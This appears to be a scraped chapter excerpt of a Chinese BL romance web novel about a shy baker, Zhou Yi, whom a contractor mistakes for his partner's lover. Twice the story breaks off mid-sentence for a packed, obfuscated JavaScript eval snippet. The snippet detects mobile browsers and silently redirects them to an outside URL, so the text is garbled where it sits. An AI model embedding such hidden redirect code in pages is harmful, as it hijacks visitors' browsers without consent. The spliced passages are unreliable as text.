《你打了他,就不能打我了》 1. 蜂蜜奶油蛋糕 晚上九点,平安街道108号。 在忙碌一天后,这家新开不久的蛋糕店准备打烊了。 一道修长身影从后厨钻了出来,来人有着一头利落的黑色短发,碎发乖巧垂落在额前,白皙的皮肤,在光影交错下显得格外细腻。 身上气质干净温和,这张脸即使再挑剔的人,也挑不出任何毛病来,腰上系着一条咖色围裙。 周奕手里端着一盘蜂蜜蛋糕,正准备打包,低头闻了闻,鼻腔里满是蛋糕的香甜,嘴角随即扬起一抹笑容,脸颊上立即落下一个满足的小酒窝。 突然,一道阴影落在柜台上 他以为是新来的客人,立即说道:“不好意思,我们已经打烊了……” 周奕的话没有说完,他察觉到一丝不对劲,落在柜台上的阴影不断攀升,逐渐像一座小山一般,带着压迫感。 他蓦地抬头,在看到来人后,脸上笑容戛然而止。 对方出声说道:“你就是周奕?” 周奕的面前站着五个气势汹汹的陌生男人。 这些人直接将他堵在柜台出口,目光上下打量。 小白脸长得还行。 突然,一口烟吐在周奕脸上。 他下意识闭上眼睛,屏住呼吸,但没坚持多久,蛋糕的甜香被刺激性的烟雾挤占,铺天盖地地涌入鼻腔。 周奕被呛得剧烈咳嗽起来。 “啧啧啧——” 这些人发出无情的嘲弄声。 周奕没有理会,他将手里的蛋糕放下,弯着腰咳得五脏六腑都抖动了起来。 他微张着唇,眼尾溢出水花,再次睁开眼眸,仰起头,视线变得雾蒙蒙起来。 刚才的那些人消失了。 就在他神色茫然的时候,一道修长的身影逐渐在他眼眸放大,对方身形高大,宽肩窄腰,全身的气势凌厉逼人,带着十足的压迫感。 喉咙传来一阵瘙痒感,他下意识吞咽了一下。 待到视线逐渐恢复清明,周奕才看清楚眼前男人的脸,对方长着一张俊美的脸,五官深邃而立体。 只是左边的眉骨上的锋利被一道疤折断,让原本端正的五官,硬生生地带着一股桀骜不驯的野性。 男人眉眼阴沉,看起来就不好惹。 周奕确定不认识对方。 他想破了脑袋,也没想出来自己什么时候招惹这样的人。 大概是被盯久了,陈佑铭眼底露出一丝不耐,他冷声说道:“看够了没?” 他发现这人大胆挺大的。 也是,胆子不大,怎么敢色胆包天的来偷他的人! 陈佑铭想到这里,眼底变得更冷了一些。 周奕听到声音,骤然回过神来,他迅速挪开目光,然后扫过一旁站着的几个气焰嚣张的男人,最后视线定格在他们手里棒球棍上。 随后他迅速收回目光,视线再次定格在眼前的男人身上。 对方应该是这群人的老大。 周奕皱着眉,声音有些沙哑地说道:“我是周奕。” 他的目光扫过众人,打算先问清楚。 周奕咳了几声,问道:“你、你们……找我有什么事?” 这句话落下没多久,站在陈佑铭后面的人插声骂道:“**装傻是吧!” 四周顿时闹哄哄的。 陈佑铭没说话,他抬了抬手,瞬间又安静了下来。 “我不知道……” 周奕的话还没说完,脖子就被人掐住了。 陈佑铭见周奕还在装傻,眼眸微眯了一下,嘴角扯出一抹冷笑。 他可没工夫陪着他兜圈子。 “还不承认。” 周奕听到耳边泛着寒意的声音,一脸无措。 他要承认什么? “难道不是你给我戴的绿帽子?” 什么…… 戴绿帽子? 他给谁戴绿帽子? 周奕微微睁大眼眸,脑袋发蒙。 同时,他心里清楚地意识到,这绝对是一场误会! 此时,周奕被迫对上男人的眼睛,在那双幽冷的眼眸中,他看到自己脸上的茫然和惊恐。 似乎只要他敢点头,下一秒,对方就会毫不犹豫地掐死他。 他张了张嘴,想要说不是自己。 他们找错人了! 不知道是不是太过紧张,他的老毛病又犯了,几个字卡在了嗓子眼,怎么也吐不出来。 而且……太近了。 周奕额头和鼻尖渗出细密的汗珠,过分敏感的神经,让他感觉全身刺痒起来,喉咙也快不能呼吸了。 男人手掌的温度很烫,就连喷洒在他脸上的呼吸也十分灼热。 原本就少得可怜的新鲜空气,又被掠夺,对方身上气息几乎将他整个笼罩起来,淡淡的古龙香水,不断地钻入他的鼻尖。 带着侵略和压迫感。 就连呼吸都是陌生人的气息。 周奕皱起眉头,抿紧了唇,他偏着头,微垂着,头顶灯罩阴影刚好遮住脸上的神色。 陈佑铭看着手下的青年一声不吭的低着头。 这副明显逃避的模样,让他心里更不爽。 明明他才是苦主,搞得他好像在欺负对方似的。 陈佑铭轻啧了一声,松开掐住脖子的手,但下一秒,手又重新抬了起来,直接掐住那张埋在阴影中的脸,微微用力掰了过来:“不说,是吗——” 突然他声音一顿。 暴露在灯光下的湿润眼眸,还未来得及藏好眼底的错愕和慌张,泛红的眼尾下,一道湿痕清晰可见。 这是……哭了? 陈佑铭感受指尖传来的湿度,神色错愕。 他都还没动手! “……” 胆子这么小……还敢去偷人,当小三? 陈佑铭眉头紧锁。 他松开掐住脸的手,又觉得不能就这么轻易地算了,随后改成在脸上轻拍了两下。 “……别以为装可怜,我就会放过你。” 周奕微微张着唇,小口小口地呼吸着,他感觉有些缺氧,没太听清男人说的话。 最后,他像是做出了什么决定一般,闭上眼睛,抬手撑在胸口,猛地朝前推。 没推动,又弹了回来。 他又推了一下—— 周奕急得额头冒汗,胸口越来越闷,手也开始发软。 在推第一下的时候,陈佑铭就愣在了原地,脸上诧异的神色没有退散,目光从对方紧闭的双眸,再落到一双按在自己胸口的手上,定定地看了几秒。 他今天出差见客户,专门穿得正装,在得到消息之后,衣服都还没来得及换就赶过来。 偏商务的蓝色衬衣被饱满的肌肉撑得没有一丝皱褶,看起来禁欲又诱惑。 连黏在上面的双手,也随着呼吸而起伏着。 陈佑铭冷声问道:“你打算摸多久?” 什么? 周奕听到这句话,恍惚回过神,睁开眼睛,目光落在男人盛怒的脸上。 他顺着对方凌厉的视线,低下头。 愣住。 在他愣神的瞬间,指尖无意识地跳动了两下,哪怕隔着一层薄薄的衬衣,也能明显地感受到掌心下的紧致饱满。 周奕忍不住出神地想,手感好像一块热果冻。 陈佑铭在看到这一幕,额头青筋猛地跳了一下。 周围的几人倏地倒吸了一口凉气。 不仅摸,还捏?! 这绝对是挑衅! 陈佑铭终于忍不住了,打算给对方一点教训。 然而,他抬起拳头还没来得及落下,一个黑漆漆的脑袋先一步发出咚的一声—— 栽倒在他身上。 周奕被撞得眼前一黑。 现在他也顾不得想其他的,无意识抓紧手里的东西,像是抓住最后一根救命稻草,死死拽住。 陈佑铭身体瞬间僵硬,瞳孔猛地一缩,几乎咬牙切齿地说道:“找死!” 什么…… 周奕没听清,感觉自己心跳快得要撞破肋骨,喉咙也像突然被什么东西卡住,胸腔更是像堵了一团湿棉花,怎么也吸不满一口空气。 他听到自己呼气声越来越大,像一个破了的风箱。 抬起手,费力地朝着一旁的柜子伸过去,但身体却无力地朝下滑落。 陈佑铭这才发现情况不对劲。 神色一变,立即眼疾手快地将人捞起来。 他看到周奕的脸色由红转白,唇色泛青,明显是缺氧的症状。 这瞬间发生得很快,刚才还在看热闹的几人,没料到事情的走向是这样的,立即手忙脚乱地过来帮忙。 “老大……他是怎么了?” “应该是发病了。” 陈佑铭眉头紧锁:“先送医院。” 就在他打算先将人送到医院时,手腕突然被一股力道抓住。 他低下头,刚好对上一双微微睁开的眼眸。 周奕紧紧拽着男人的手,他手指着柜子的方向,张开唇,细碎的声音几乎让人听不清。 陈佑铭见状,立即俯身低头。 “药……” 陈佑铭立即明白过来,目光顺着周奕的指尖落在旁边的柜子上。 很快就找到了一瓶哮喘药。 周奕已经快支持不住了。 陈佑铭只能将人半抱起来,靠在自己怀里:“张嘴。” 周奕艰难地张开嘴。 陈佑铭将咬嘴塞进他的唇里,立即用力按下喷头。 连续喷了三下,周奕明显缓了过来,脸色从苍白到逐渐恢复血色,也不再喘不上气,看起来比刚才好多了。 陈佑铭暗暗松了一口气。 “老大,既然他没事了,要不我们走吧,万一再出什么事,就赖不到咱们身上。” 陈佑铭再次看向怀里昏迷的人,全身几乎被汗水打湿,整个人像是从水里捞出来一般。 他皱着眉,在沉默几秒后,开口说道:“算了,去医院。” 他弯腰将人抱起。 见陈佑铭离开,其他人也跟了上去,他们拿着手里毫无用武之地的棍棒,不由对视了一眼。 谁还记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550683|204322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得他们今天是过来捉奸夫的! 这都叫什么事啊…… * 周奕是被晃醒的,他迷迷糊糊地睁开眼睛。 这是在哪里? 在愣了几秒后,猛地反应过来,他之前不是在店里吗?怎么会在车里。 他目光扫到一旁驾驶位,发现开车的男人正是店里准备教训他的那个,心顿时提了起来。 还好对方这个时候专心开车,目光一直看着前方,并没发现他醒过来。 周奕小心翼翼地收回视线,假装还没醒,余光扫到车窗外,只有一片浓稠的化不开的黑,荒郊野外,连半盏灯火都没有,半个人影都看不见。 这些人准备带他去哪? 他脑子里瞬间闪过前几天在电视上看到的各种荒野抛尸的新闻,心不由慌了起来,一股凉意从脚底窜到脊背。 他拼命压下呼吸,脑子飞速想着逃跑的办法。 然而,就在这时,突然一个急刹车,惯性让所有人都往前一冲。 周奕大脑瞬间一片空白,全身肌肉瞬间紧绷了起来,他死死闭着眼,连大气都不敢喘一下,继续装昏迷。 “老大,怎么了?” “下车。” 男人言简意赅地说道,声音听不出任何情绪。 车门被拉开,一股冷风吹进来。 陈佑铭低头检查轮胎,发现轮胎卡死在石坑里不能动弹。 刚才遇到主路封路维修,临时才走的这条小路,却没想到路面烂得离谱,布满了大大小小的坑,因政策原因,整个城市都陷入基建狂潮,他们对此已经见怪不怪。 他回过头,对着车里人吩咐道:“拿个铁锹下来。” 周奕在听到这句话后,刚才悬着的心,这下算是彻底死透了。 他们是打算在这里挖坑? 听到车外传来铲土的动静,一股绝望袭来,周奕再也忍不住了,深吸一口气,趁着车里没人,都在后面挖坑。 他猛地打开车门跳下车,拔腿就朝相反的方向跑。 然而不幸的是,他还是被发现了。 陈佑铭好不容易下车抽根烟,刚把烟递嘴里,就看到了蹿出去的人影。 “老大,那小子跑了。” “我没瞎。” 陈佑铭看到那道几乎快消失在黑夜中的身影,眯着眼眸,将咬在嘴里的烟收了起来,他对着一旁的人说道:“你们留在这里处理车,我去追人。” 这小子居然装昏迷! 周奕拼命地朝前跑,在没听到身后动静后,他才逐渐放缓了脚步。 应该……没有跟过来吧? 折腾了大半夜,他晚饭一口没吃,再加上刚才的发病,刚才逃跑已经耗尽了力气,郊外的冷风,灌入口鼻,胸口一阵阵发紧,每呼吸一下都扯着气管疼。 还没等他匀口气,身后骤然冲来一股大力,狠狠地将他扑倒在地。 周奕拼尽全力地挣扎了几下,但他早就力竭,在绝对悬殊的力量前,根本无法反抗,转瞬间就被男人死死压在了身下。 陈佑铭微微喘息,厉声问道:“你跑什么?” 但身下人并没有说话,回应他的只是粗重的呼气声。 “喂,说话!” 他有些烦躁起来,害怕这个病秧子又出事,于是摸出手机,打算查看一下情况。 突然指尖触及一片滚烫的湿意,手机屏幕亮起,他低头,瞬间对上了一双通红、蓄着泪水的眼眸。 周奕就这样安静地看着他。 “我不跑,难道你会放过我?” 陈佑铭皱眉,这句话他有些没听明白,不过觉得有些好笑。 于是他轻笑了一声,像是在笑对方的不自量力:“所以,你觉得自己能跑得掉?” 周奕抿紧了唇,他看着男人的眼睛,说道:“你找错人了,我不认识你。” 兜兜转转一晚上,他终于有机会将这句话说出口。 “那个给你戴绿帽子的奸夫不是我,所以你要杀得人,也根本不是我!” 陈佑铭听到这句话,顿时愣了一瞬,看向周奕的目光逐渐变得古怪起来,沉默了半晌:“所以,你刚才觉得我要杀你?” “难道不是吗?” 周奕心里面越想越委屈,鼻音也重了起来,他招谁惹谁了:“都打算挖坑埋我了。” 听到这句话的陈佑铭,再也憋不住了,顿时哈哈大笑了起来。 听到从头顶传来的笑声,连带着震颤的胸膛,周奕耳鸣了瞬间,他看着对方几乎笑弯了腰,有些不解地问道:“……你笑什么?” “我笑你蠢。” 陈佑铭低头看着躺在地上的周奕,说道:“如果我真打算把你埋了,之前也不会救你。” 哈? 周奕愣住了,他呆呆地看着男人,眨了眨眼睛。 就在这时,一道手机铃声响了起来。 陈佑铭接通电话。 手机里传来的声音,在安静的夜空中格外清晰。 “大哥,你快点过来,我刚才在富丽酒店看到了大嫂,他旁边跟着一个不认识的男人……” 2. 牛奶麻薯 电话挂断。 气氛变得有些古怪。 周奕抬头看,只见刚才还在笑的男人,此时脸上的笑容却消失了。 看到这一幕,他心里莫名好受了一些。 周奕抬起手抹掉眼角的泪,小声嘀咕:“我都说了不是我……” 话还没说完,就被一记冷厉的眼刀甩了过来,他立即闭上了嘴。 这时,卡在石坑里的面包车也开了过来。 陈佑铭上车,他看着站在原地的周奕,面无表情地开口:“给你两个选择,一,留在这里自己回去,二是上车跟我们一起走。” 周奕抬头看一眼车里的男人,又看了看周围连个鬼影都看不到的荒郊野外,他抿了抿唇,最后还是选择上车。 “老大,我们去哪儿?” 车里格外安静,没有人出声说话。 “应该是富丽酒店。”周奕的声音不大,但在安静的车厢里却格外清晰。 瞬间所有人都看向周奕,投来好奇的目光。 “你小子怎么知道?” 周奕对上众人的目光,却没说话,而是看向一直沉默不语的男人。 众人顿时明了,不再询问。 这一路颠簸,除了前面的男人不说话,车里的其他人却是话痨,在知道周奕不是奸夫后,先是为今天发生的事情道歉,自然而然就聊起了事情的起因经过。 刚才抓他的男人叫陈佑铭,是一个干工程的小老板,因为平时工作忙碌,没时间顾家,所以老婆出轨了。 今天他们得到消息,是专门过来抓奸夫的,而他恰好跟奸夫的名字一样。 十分钟后,富丽酒店门口。 周奕丢下了车。 他站在酒店大门口,看着一群人走进酒店,按理说从这里开始,这件事就跟他没什么关系。 周奕也的确这么想的,现在的他早点回到家吃点东西,然后睡觉休息,明天早点去店里收拾。 然而,就在他准备打车离开的时候,下意识摸了摸身上,口袋空空。 周奕突然想到了什么—— 他的药还在那个人的身上! 周奕立即调转回头,然而等重新追回去,他只看到那群人的尾巴。 等追到走廊时,还是来晚了一步。 包间的房门在他眼前被重重关上。 周奕站在门口外面,手撑着墙,他刚匀了匀呼吸,房间里突然传来“哐”的一声重物落地的巨响,紧接着就是男人凄厉痛苦的哀号声。 周奕脚步的脚步瞬间钉在了原地。 就在他犹豫的时候,这时酒店的工作人员在得到消息后,急匆匆地赶了过来,在听到里面的动静之后,却没敢直接进去,与站在门口的周奕大眼瞪小眼。 “您不进去吗?” 周奕被误会跟里面的人是一伙。 “……” 周奕:“不着急……” “没事,我帮您。”工作人员面带微笑地说道。 “谢谢,不……”用。 周奕的话还没说完,只见房门被突然推开,后背突然传来一股力量,人还没反应过来,下一秒,就被踉跄的推了进去。 仅仅一两秒的时间,房门再次合上。 一瞬间整个房间安静下来,所有人朝声音的放出看去。 周奕站在房间里,感受到身上的视线,他看着房间里的众人,缓缓地抬起手,嘴角扬起一个略带僵硬的笑容,打了一声招呼:“嗨……” 又见面了。 气氛略有些尴尬。 与此同时,周奕小心翼翼地观察着房间里的情况,并没有想象中的血腥画面。 陈佑铭坐在房间里唯一的那张沙发上。 在他的面前,暗红色地板上趴跪着一个赤裸着上半身的男人,对方低着头,看不清长相,这个人大概就是那个奸夫。 周奕神色微松了一些。 不过,他似乎没有看到那些人口中的大嫂…… 等等,目光突然一顿,周奕眼尖地瞧到了角落里穿着浴袍的男人身上,对方容貌清俊,一身书卷气息,看起来文质彬彬的,此时被其他人捂住嘴,给拦在了另一边,眼底满是焦急。 ?! 周奕眨了眨眼睛。 电话里的“大嫂”是个男人? 陈佑铭掀起眼皮,抬起漆黑如墨的眼眸,看着突然出现在周奕,声音低沉:“又是你。” 周奕立即回过神来,他仔细地看向坐在沙发上的陈佑铭,男人的身体往后仰靠在沙发上,大马金刀的坐在那里,领口大敞,露出一大片紧实的蜜色肌肉。 挽起的西装袖子露手臂,可以清楚的看到绷紧的线条,和隐隐浮起的青筋。 他垂落的指尖把玩着一个银色打火机,动作不急不缓,看起来什么也没做,却莫名地让人从骨子里感到发怵。 “不是走了吗?怎么找过来了。” 周奕深吸了一口气,迎着压迫感十足的目光,抿唇说道:“我来找你。” “找我?” 陈佑铭转动打火机的手微顿,目光落在青年垂落在身侧手,纤长白皙的指尖不安地扣着裤边的缝线,不由微微挑眉:“这回不怕了?” 他可没忘记之前对方被吓哭的样子。 “……” 周奕心思被戳穿,身体顿时一僵,准确来说,他不仅仅是怕,还有不喜欢。 他从小到大就不喜欢和这样的人相处。 他垂下眼眸,轻声说了一个字:“怕。” 陈佑铭没想到周奕回答得挺诚实的,不过他也不打算再为难对方:“说吧,你回来找我有什么事?” 周奕心里顿时松了一口气,他立即出声道:“我的药在你那里。” 陈佑铭似乎也想起来了,他伸手从口袋里拿出药瓶,随后抬起手,朝着周奕抬了抬下巴,慢条斯理地说道:“自己过来拿。” 周奕扣动缝线的手顿了一下,目光落在药瓶上,然后抬起脚步,缓缓走了过去。 他的嗅觉很敏感,刚一靠近,就嗅到空气中飘浮着淡淡的血腥味,感觉周遭的空气变得凝重起来。 目光不经意扫到跪在陈佑铭脚边的男人,对方身体肉眼可见地颤抖着,周奕快速收回目光,打算快点拿完东西,远离这个是非地。 他伸手快速地将药拿了回来,下意识说了一声:“谢谢。” 陈佑铭觉得挺有意思的,随口回了一句:“不客气。” “……” 周奕攥紧在手心里药瓶,有些尴尬:“那我就回去了。” 陈佑铭点了点头。 就在周奕准备离开的时候,突然被一股力量紧紧拽住脚,就像凭空出现的水鬼一般,他还没反应过来,身体就瞬间失去平衡,不受控制栽倒下去 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陈佑铭听到这句话,神色有些诧异:“你们认识?” 周奕僵在原地。 他们的确认识。 刚才那个被一脚踹开的男人,对方叫林锦川。 他们从小在同一家孤儿院长大,后面林锦川被人收养,两人才没了联系,直到去年周奕从酒店离职后偶然重逢,才又重新往来。 自从知道周奕性取向后,林锦川就开始猛烈地追求他。 林锦川虽然不知道周奕怎么会出现在这里,但看到周奕和男人交情不错的样子,他想如果周奕开口求情的话,没准对方会大发慈悲地放过他。 陈佑铭看到周奕脸上僵硬的神色,他眼底划过一丝了然,幽幽地说道:“你打算在我身上坐多久?” 周奕瞬间清醒过来,身体瞬间弹起。 这次没有人抓住脚,也就没再出现刚才的事情。 只是埋着的脸红得厉害。 “抱歉。”周奕小声地说道。 陈佑铭朝着旁边的人招了招手,冷声说道:“去把人弄过来。” 刚才被踹开的林锦川,很快又被拎了过来。 陈佑铭起身站了起来,他看了一眼脚边瑟瑟发抖的奸夫,随后将目光落在一旁安静的周奕身上,沉声道:“说吧,到底怎么回事?” 气氛瞬间变得有些寂静。 周奕红晕退了下来,他低着头,沉默片刻说道:“他是我的男朋友。” 他的声音很轻。 “你男朋友为什么会衣衫不整的出现在我伴侣的房间里?” 对于这个答案,的确在陈佑铭的意料之外,他微微挑眉,抬手揉了揉被撞疼的下巴,审视的打量着眼前的青年,从局促不安而绞紧的指尖,再到垂落着像蝴蝶翅膀般不停轻颤的眼睫。 不由扬起唇,发出一声轻笑:“所以,之前也不算找错人?” 周奕看向一旁狼狈不堪的林锦川,此刻说不上什么心情。 他抬眸对上男人的眼眸,虽然对方脸上带着笑意,但眼底却没有半点温度,心里不由生出一丝寒意,缩着了缩脖子,小声说道:“……你打了他,就不能打我了。” 3. 白桃奶冻 陈佑铭顿时沉默了下来。 周奕说完这句话之后,感觉到男人一直盯着他看了一会儿,看得他头皮发麻。 陈佑铭盯着青年看了一会儿,扭过了头看向旁边的人,问道:“我看起来是那种人吗?” 旁边的人在看热闹,听完两人的对话,显然在周奕的眼里,陈佑铭已经被视为洪水猛兽,一直忍着没有笑出来,摇了摇头。 陈佑铭有些无语,他朝着眼前的青年勾了勾手,说道:“你过来。” 周奕过了一会儿,才反应过来,他用手指了指自己:“你说的是我?” 陈佑铭没说话。 两人对视了两秒,周奕乖乖地走了过去,他低头站在对方面前。 “抬起头。” 周奕抬起头。 他不知道对方想做什么,抬头看着陈佑铭,眨了眨眼睛,只要不对他动手一切都好说。 然后呢? 两人大眼瞪小眼地看着。 陈佑铭率先打破沉默:“今晚上你遭了不少罪吧?” 周奕以为会挨打挨骂,但没想到会听到这么一句话,在众目睽睽之下,他僵在原地,有些不好意思地挠了挠头:“还、还好。” 陈佑铭不知道眼前的人是心大,还是有点呆。 他深深地看了对方一眼,直接上手拎住后颈,将人拽了过来,有些没好气地说道:“好什么好?” 周奕被人拎着脖子,感受到颈后皮肤传来的温度,他有些不适应地缩了缩脖子。 下一秒,他耳边响起男人低沉悦耳的声音:“你男朋友当着你的面前出轨,又连累你吃了不少苦,你就一点不生气?” “看着我说。” 周奕被迫抬起头,看着陈佑铭那双黑沉沉的眼睛,对方怎么看起来比他还要生气。 他试探地回答道:“……生气?” “生气就对了。” 陈佑铭也不废话,他觉得说多了,对方可能听不懂,直接命令道:“把手伸出来。” 周奕听话地伸出手。 “拿着。” 周奕的手里多出了一根铁棍,紧接着他的脑袋被拍了拍,一把被人推了出去:“生气就要报复回去,憋在心里不好。” 周奕盯着手里的铁棍发呆,目光下意识看向一旁跪在地上的林锦川。 林锦川在看到周奕手里的东西后,倏地睁大了眼睛:“小奕……” “小奕!这件事不是你想的那样,你要相信我……等回去之后,我再跟你解释!” 周奕看着不停哀求的林锦川,垂眸出声说道:“那你解释。” 林锦川见周奕愿意听他解释,顿时眼前一亮,他跪着用膝盖走了两步,来到周奕面前,张开双臂想要将人抱住,连忙说道:“你愿意相信就好。” 周奕默默地朝后退了一步,没有让他碰到:“你先说……” 陈佑铭看到这一幕,倏地皱起了眉头,但并没有阻止。 林锦川悬在半空中的手一僵,缓缓地将手放了下来,神色诚恳地说道:“我跟他什么都没发生……” 陈佑铭幽幽地说道:“是没发生,还是没来得及发生?” 林锦川被怼了,脸色变得有些难看,他立即看向周奕,见周奕脸色没有多大变化,连忙辩解道:“小奕,你要相信我,我们从小就认识,你难道不相信我,去相信一个外人吗?” 他说着便举起手,将手背上那道细长的疤痕展露在周奕的面前:“小时候你被人欺负,是我挡在你面前,你看我手上的这道疤,现在都还在,我怎么可能会背叛你。” 周奕看到那道疤痕出神。 林锦川见周奕神色有些松动,心里立即松了一口气。 他知道周奕耳根子软,好说话,几乎不会跟人闹红脸,想着只要多哄哄,周奕就会原谅:“都是他勾引我,你知道……我最近压力太大,我爸妈不知所踪,债主天天上门,你又不理我……” 他似乎越说越委屈,顿时红了眼眶:“我约你出来好多次,你都没理我……发消息你半天才回,有时候直接不回。” 周奕听完对方的话,认真反思一下:“我的确有些太忙了……有些没考虑到你的感受。” 而林锦川以为周奕被说动了,语气变得更软了一些,也不在意陈佑铭的讥讽,声音里更是多了几分哭腔:“还有上次……我想跟你亲近,你拒绝了我,我知道你还没准备好,没关系,我愿意等,我保证之后都不会出现这样的事情。” 周奕想到这段时间,自从他们交往之后,感情一直都不错,没有吵架,唯一一次冷战,也就在前几天。 林锦川想要跟他发生关系,但是被他拒绝了。 因为店里太忙了,只有他一个人,每天忙完回到家里累得都不想动,而且他对这方面兴趣不大。 还有一部分原因,他觉得有些速度有点太快了,他还没准备好。 如果林锦川因为这个理由出轨,也有一部分是他的责任。 周奕说道:“抱歉……” 陈佑铭他倏地皱眉,没想到事情是这样的发展,该不会就这样被忽悠住了。 他就没见过这么窝囊的男人,忍不住出声说道:“你要是信了这些鬼话,这辈子就有了。” “所以,我们还是分手吧。”周奕开口说道。 两人几乎同时出声。 听到这句话,周奕有些意外地看向身后的陈佑铭,刚好对上一双微沉的眼眸。 回过头来,他看到一脸惊讶的林锦川,出声说道:“这段感情上,我也有做得不好的地方……” 林锦川顿时有些慌了起来,他从未想过分手,连忙打断周奕的话:“小奕,我要不分手,你生气的话,打我吧,你狠狠地打我一顿吧,你要你能出气!” 周奕松手,手里的铁棍丢在地上:“我不打你。” 林锦川顿时着急了起来,他见周奕不动手,开始扇自己耳光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550685|204322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,两下,三下……清脆的巴掌声在房间里响起。 “你原谅我,好吗……” 周奕倏地皱起眉,他一把按住林锦川自虐的手:“你别这样。” 林锦川看向周奕,声音颤抖地说道:“你还在乎我的,对不对?” “啪啪啪——” 陈佑铭站起身来鼓掌,他看热闹不嫌事大地说道:“精彩——” “真是一出好戏,只是这耳光声,怎么还没有我的巴掌响。” 林锦川双眼怨恨地看着陈佑铭,却敢怒不敢言,因为知道自己惹不起对方。 周奕松开林锦川的手。 他退后了几步,认真地说道:“我是认真的,我太忙了,平衡不了工作和感情,今天就算不是因为这件事分手,后面还会因为其他事情分手。” 林锦川见周奕似乎打定主意分手,苦笑地说道:“反正从小到大,没有人真在乎过我,被收养是这样,你也是这样,对吧?你根本就没有爱过我。” 听到这句话,周奕怔住了,他眼底闪过一丝茫然。 他不懂什么是爱,爱到底是什么? 对于从孤儿院长大的孩子来说,爱是一种很珍贵奢侈的东西。 两个人在一起就是爱吗? 所以在林锦川说爱他,说喜欢的时候,他答应了对方的追求。 因为他想知道什么是爱。 或许,林锦川说得对。 他不爱他。 所以他在知道对方出轨,并不感到难受,在提出分手后,心里反而松了一口气。 “你说得对,我不爱你,也没有喜欢过你。” 听到这句话的林锦川呆呆地怔愣在原地,他没想到周奕回答得这么干脆利落。 “不可能……” 林锦川摇了摇头,他看着周奕的眼睛,不敢相信这个答案,猛地站了起来,想要抓住周奕的手:“小奕,你是骗我……” 然而,还没等他触碰到,就被一道目光给制止住了。 陈佑铭掀起眼皮,目光冰冷看过去:“当着我的面想动手?” 林锦川瞬间止住了脚步。 但他的一双眼眸紧紧盯着周奕,满是幽怨。 周奕被林锦川眼神看得头皮发麻,下意识想要逃,看向一旁气势凌厉的男人,他出声问道:“我可以离开了吗?” 陈佑铭挑了挑眉,目光从林锦川收回来,朝着一旁站立难安的周奕看了一眼,点头说道:“你当然可以走。” 周奕避开林锦川追过来的目光,毫不犹豫地转身离开。 陈佑铭目光扫过房间里的其他两人,声音不急不缓地说道:“他的账算完,现在该我了。” 旁边,一直被捂着嘴的男人被猛地松开,他在听到这句话之后,身体下意识颤抖了一下。 在房门关上的瞬间,周奕心里猛地松了一口气,不管房间里的男人怎么算账,都跟他没有任何关系了。 4. 肉松糯米糕 早上五点半,闹钟铃声响起。 周奕伸手按下闹钟,睁开疲惫的眼睛,在床上怔愣了几秒钟,然后从床上缓缓地爬起来。 昨晚觉没睡够,他现在起床脑袋还有些发蒙,迷迷糊糊地下床找到一双拖鞋。 之前因为开店,又害怕钱不够,周奕为了节省开支,就在附近的筒子楼找了个房子。 筒子楼破旧,生活不方便,不过好在房租便宜,并且距离蛋糕店近,走路五分钟就能到店里,对此周奕已经很满足了。 他站在水槽前,扭开水龙头,水声哗啦啦地响,然后低头,将脸埋下去。 脸上的冰冷,让他清醒了几分。 周奕不由自主地回想到昨天晚上。 他从来没见过这样的林锦川,跟记忆中那个彬彬有礼的大学生仿佛是两个人。 他也想不明白,自己如实回答了对方的问话,他为什么要生气? 以他对感情浅薄的理解,这不应该是你情我愿,大家好聚好散吗? 一想到这里,他就想到了那个叫陈佑铭的男人…… 他之前以为男人大张旗鼓地找上门,会因为被伴侣背叛而感到愤怒,却没想到对方昨晚全程都意外地冷静。 就像是比起伴侣的出轨,反而更在意男人的尊严受到挑衅。 他本能地觉得这样的人,比愤怒的林锦川还要更可怕一些。 不过,还好之后他和对方就不会有什么交集。 周奕叹了口气,不打算再想这些糟心的事情。 时间一晃,到了六点。 周奕准备去店里,夏天的天亮得早,这个时候已经有些蒙蒙亮。 他走到街上,除了开包子店的老板,整个街头空空荡荡的就只有他一个人。 很快他来到店门口,看了一眼门口的招牌,奕甜蛋糕店。 周奕深吸了一口气,脸上扬起了一个笑容。 新的一天又开始了。 他简单收拾了一下昨晚的残局,将那盘没有打包的蜂蜜小蛋糕里捡了几个当早餐,其他的都装起来,放到店里的冰柜里。 然后来到后厨开始备货,提前预热烤箱和醒发箱,然后开始煮小料。 周奕开始有条不紊地忙碌起来,将面粉称重,加入鸡蛋,放进搅拌机里进行搅拌。 虽然叫蛋糕店,但目前并没有蛋糕的品类。 在开店前,他提前先考察了一下是市场,比起贵价的蛋糕,价格实惠的糕点销量更好。 所以周奕精挑细选了几样好卖的糕点,除了现在卖得最好的蜂蜜蛋糕,还有肉松糯米糕,金丝红枣核桃糕…… 再来店里就他一个人,也忙不过来,打算等小店开始步入正轨后再招个人。 人是一口口吃胖的,路是一步步走出来的,生意也是,急不得。 还好这个店从开业到现在都挺顺利的,再加上周奕用的都是一些好料,所以生意还算不错。 他从早忙到晚,在送走最后一个客人后,周奕已经累得腰酸背痛。 在加上昨晚上没睡好,他打算早点关店回去休息。 晚饭就在街边的小面馆解决的,等回到家里后,将身上的外套脱了,直接仰头倒在床上,累得连一根手指头都懒得动。 等到休息了一会儿,又从床上爬了起来烧水,顺便给关机的小灵通充好电。 